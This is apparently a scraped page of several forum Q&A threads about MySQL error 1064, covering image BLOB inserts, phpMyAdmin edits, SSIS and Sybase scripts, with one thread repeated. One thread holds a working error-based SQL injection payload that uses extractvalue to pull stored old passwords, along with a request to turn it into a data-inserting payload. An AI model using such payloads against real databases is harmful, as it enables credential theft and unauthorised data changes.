Inserting images into SQL table: syntax error in insert statement [duplicate] - mysql

Hi,I am new to SQL and I wanted to store images in the database.I already created a column with blob data type and tried to execute the following statement as given here
INSERT INTO `abc`
(`img`)
SELECT
BulkColumn FROM OPENROWSET(
Bulk 'C:\Users\adity\Desktop\New folder\a.png', SINGLE_BLOB) AS BLOB
which gives error
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '(
Bulk C:\Users\name\Desktop\New folder\a.png, SINGLE_BLOB) AS BLOB' at line 4
I also tried following code as given here
insert into table `abc`(`img`) values('C:\Users\name\Desktop\New folder\an.jpg') where id=1;
which gives the error
#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'table abc(img) values('C:\Users\adity\Desktop\New folder\an.jpg') where id=1' at line 1
So please suggest me how to store images in a blob without using php,etc and simply using simple sql insert statement.I am using wamp server for my database.
I know that I should use file system for images instead of using database.But what does a file system actually mean.Does it mean a file or image hosting site whose address will be stored in database.

I think that command is a MSSQL syntax. Try this command:
INSERT INTO `abc`
(`img`)
VALUES
(LOAD_FILE('C:/Users/adity/Desktop/New folder/a.png'))
This command stores image as a BLOB

Through Mysql workbench, its very easy to load images into database using the following steps.
Right click on the value of the (blob)column in the table and select "Load value from file".
Then we can provide the image path in the system.
Then it will converted into byte array and stored it automatically.
finally save the changes of the table.

Below works for me,
However, I was able to get it done by moving the image(fileName.jpg) file first in to below folder(in my case) C:\ProgramData\MySQL\MySQL Server 5.7\Uploads and then I executed below command and it works for me,
INSERT INTO `abc`
(`img`)
VALUES
(LOAD_FILE('C:/ProgramData/MySQL/MySQL Server 5.7/Uploads/an.jpg'));
Hope this helps.

Related

INSERT Statement in XPATH SQL Injection

I was trying to hack my database and used a method known as error based SQL Injection using extractvalue functions.
I was successful in getting the database tables and columns using the below payload:
crmnotes WHERE id=1 AND extractvalue(0x0a,concat(0x0a,(select concat(oldpasswords) from ofform6_mniterp.entity WHERE userid=0x6d6e69746a6373313534 limit 0,1))) #
Now, I'm unable to use INSERT statement in place of SELECT to insert some data in database using this exploit.
I tried to make many INSERT payloads but each time getting syntax error.
One of the INSERT payload I have used:
crmnotes WHERE id=1 AND extractvalue(0x0a,concat(0x0a,(INSERT INTO ofform6_mniterp.entity(userid) VALUES(0x6d6e69746a6130303031))))
Error Received:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'INTO ofform6_mniterp.entity(userid) VALUES(0x6d6e69746a6130303031))))

phpMyAdmin Gives error #1064 when trying to edit or delete a row

I have a database connected to Unity through a php script. This script lets me register an account and set it on a row on the database. So whenever I make a new account it creates a new row in my "Users" table.
Now my problem is that I get an error whenever I try to edit or delete a row by clicking on the edit or delete icon in phpmyadmin. If i try to create a query manually it works in phpmyadmin, but the query that the phpmyadmin tries to execute when I click the icon isn't.
SQL query: Documentation Edit
SELECT * FROM `UserData`.`Users` WHERE ;
MySQL said: Documentation
#1064 - You have an error in your SQL syntax; check the manual that
corresponds to your MariaDB server version for the right syntax to use
near '' at line 1
When I try to manually execute the similar correct query it works fine:
SELECT * FROM `UserData`.`Users` WHERE ID = 1 ;
Does anyone know the cause of this problem or maybe know a fix for it?
My server version
I have the same problem, and the work around that worked for me was using the SQL shell tab with the corresponding SQL code for whatever I want to do - the error only occurs when I use the icons. Thus I think this must be a problem with the interface of phpmyadmin/icons. This is annoying, but at least I haven't lost my SQL library.
If anyone has a better solution, I'd be keen to know. (I'm using phpmyadmin 4.5.6.2 on a Mac Os X 10.10.2)
You have to rename your tables without capital letters. Name them like userdata or user and so on...

How to insert images in blob in mysql table using only sql syntax (without PHP)?

Hi,I am new to SQL and I wanted to store images in the database.I already created a column with blob data type and tried to execute the following statement as given here
INSERT INTO `abc`
(`img`)
SELECT
BulkColumn FROM OPENROWSET(
Bulk 'C:\Users\adity\Desktop\New folder\a.png', SINGLE_BLOB) AS BLOB
which gives error
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '(
Bulk C:\Users\name\Desktop\New folder\a.png, SINGLE_BLOB) AS BLOB' at line 4
I also tried following code as given here
insert into table `abc`(`img`) values('C:\Users\name\Desktop\New folder\an.jpg') where id=1;
which gives the error
#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'table abc(img) values('C:\Users\adity\Desktop\New folder\an.jpg') where id=1' at line 1
So please suggest me how to store images in a blob without using php,etc and simply using simple sql insert statement.I am using wamp server for my database.
I know that I should use file system for images instead of using database.But what does a file system actually mean.Does it mean a file or image hosting site whose address will be stored in database.
I think that command is a MSSQL syntax. Try this command:
INSERT INTO `abc`
(`img`)
VALUES
(LOAD_FILE('C:/Users/adity/Desktop/New folder/a.png'))
This command stores image as a BLOB
Through Mysql workbench, its very easy to load images into database using the following steps.
Right click on the value of the (blob)column in the table and select "Load value from file".
Then we can provide the image path in the system.
Then it will converted into byte array and stored it automatically.
finally save the changes of the table.
Below works for me,
However, I was able to get it done by moving the image(fileName.jpg) file first in to below folder(in my case) C:\ProgramData\MySQL\MySQL Server 5.7\Uploads and then I executed below command and it works for me,
INSERT INTO `abc`
(`img`)
VALUES
(LOAD_FILE('C:/ProgramData/MySQL/MySQL Server 5.7/Uploads/an.jpg'));
Hope this helps.

SSIS DataFlow error when inserting a MySQL Table

I'm not being able to transfer some SQL-MySQL data using SSIS.
I've done the same thing with other packages for different tables but this time I can't.
Here's a screenshot, data is being retrieved absolutely fine from the SQL server.
And here's a shoot if the progress tab.
First error shown in the Progress tab is as follows:
[dest mysql [190]] Error: An exception has occurred during data insertion, the message returned from the provider is:
ERROR [23000] [MySQL][ODBC 3.51 Driver][mysqld-5.6.16]You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near '"persona_id", "franqueos", "reiteros", "pcrc_id", "fecha") VALUES (55, 12, 1, 1,' at line 1
I'm not sure on how to approach the situation in order to solve it.
Thank you.
Your MySQL database needs to have the ANSI_QUOTES SQL_MODE option enabled. Or check whether null is allowed on columns, particularity for fecha field in your mysql database table.
Have a look of this as well: Workaround - Writing to a MySQL database from SSIS Bug

#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version

I am using Sybase Power Designer to create a database from a physical data model (Sybase creates an SQL file) . When i import the SQL file with phpMyAdmin I have the following error:
#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'if exists(select 1 from sys.sysforeignkey where role='FK_ARTWORK_CREATES_ARTIST'' at line 7 .
Any ideas? Could this error appear due to errors on the physical model or there is another problem?
This is the code :
if exists(select 1 from sys.sysforeignkey where role='FK_ARTWORK_HAS_BUY') then
alter table artwork
delete foreign key FK_ARTWORK_HAS_BUY
end if;
The error you are getting is from MySQL. Regardless of the tool used to generate SQL, the database seems to be MySQL (or something is terribly wrong with your systems if they are confused and think they are MySQL).
The MySQL if statement (documented here) has to be inside a stored program. That means that this code only compiles inside a stored procedure, user defined function, or trigger. It doesn't "just work" on its own.
In addition, MySQL doesn't have sys tables. It uses information_schema tables. My strongest suggestion is to use tools appropriate for your actual database. If you are using a tool to generate Sybase, then use Sybase as the destination database. If you are using MySQL, then use a tool to generate MySQL code. Or, better yet, learn how to write the commands yourself.
Finally, if you intend to use Sybase, then connect to the correct database and your problem should be fixed.
As I can't post here, and sqlfiddle.com temporary unavailable, I decided to post code with correct syntax for Sybase on the PasteBin